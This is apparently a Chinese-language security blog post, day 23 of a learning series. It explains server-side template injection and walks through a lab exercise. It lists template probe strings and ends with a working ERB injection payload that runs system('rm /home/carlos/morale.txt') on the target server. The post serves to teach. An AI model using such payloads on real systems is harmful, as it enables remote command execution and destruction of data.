iT邦幫忙

2023 iThome 鐵人賽

DAY 23
0

SSTI 就是伺服器端範本注入(Server-Side Template Injection)當用戶輸入在伺服器端模板中不安全地嵌入時就可能產生。攻擊者可以注入模板指令並在伺服器上執行任意程式碼或命令。

MVC模式

MVC模式分別為 M(model)模型,V(view)視圖,C(controler)控制器。

  • model:資料庫的定義、管理,通過view向使用者展現資料,通過controler控制查詢的操作。
  • view:用於進行資料交互,向用戶進行資訊的展示等。
  • controler:使用者在接收到view信息之後,向model發送指令。

使用MVC模式的web框架的工作原理:

  1. 使用者輸入先進入controler
  2. 根據請求類型和請求的指令發送給相應的model跑程式和資料庫存取。
  3. 將結果返回給view,經過範本渲染展示給使用者。

SSTI 運作方式

View層負責渲染和顯示用戶界面。若該層接收並處理了惡意輸入,而又沒有適當的輸入驗證或過濾,則可能會產生SSTI漏洞。

伺服器端範本引擎的主要工作是將資料插入到靜態範本中,生成動態HTML頁面。如果攻擊者能夠控制插入到範本中的資訊,並讓它作為範本程式碼執行,那麼他們就可以利用該漏洞在伺服器上執行任意程式碼。

辨識SSTI:

  • 輸入模板引擎的簡單模板表達式,例如 {{7*7}},然後查看回應是否包含我們要的結果,例如 49
  • 嘗試訪問伺服器特定的對象或包括應在模板引擎環境中可用的內置功能。

Lab time

點開一個商品,出現Unfortunately this product is out of stock,發現應該是由模板生成
https://ithelp.ithome.com.tw/upload/images/20231008/20162491iKYT1Bj4Qf.png
https://ithelp.ithome.com.tw/upload/images/20231008/201624916eNAynaQTD.png
測試一下

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

https://ithelp.ithome.com.tw/upload/images/20231008/20162491ELg47HnRr8.png
應該是 <%= 7*7 %> 有戲
https://ithelp.ithome.com.tw/upload/images/20231008/20162491nQot7MYJsl.png
ㄟ嘿對了,那就依照那個寫法寫一下我們要搞的事

<%= system("rm /home/carlos/morale.txt") %>

https://ithelp.ithome.com.tw/upload/images/20231008/20162491UTr6oL1qR7.png


上一篇
[Day 22]XXE(XML External Entity) 漏洞
下一篇
[Day 24]HTTP Host header攻擊
系列文
從 Moblie Development 主題被損友洗腦鬼轉 Security 的我真的可以完賽嗎?30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言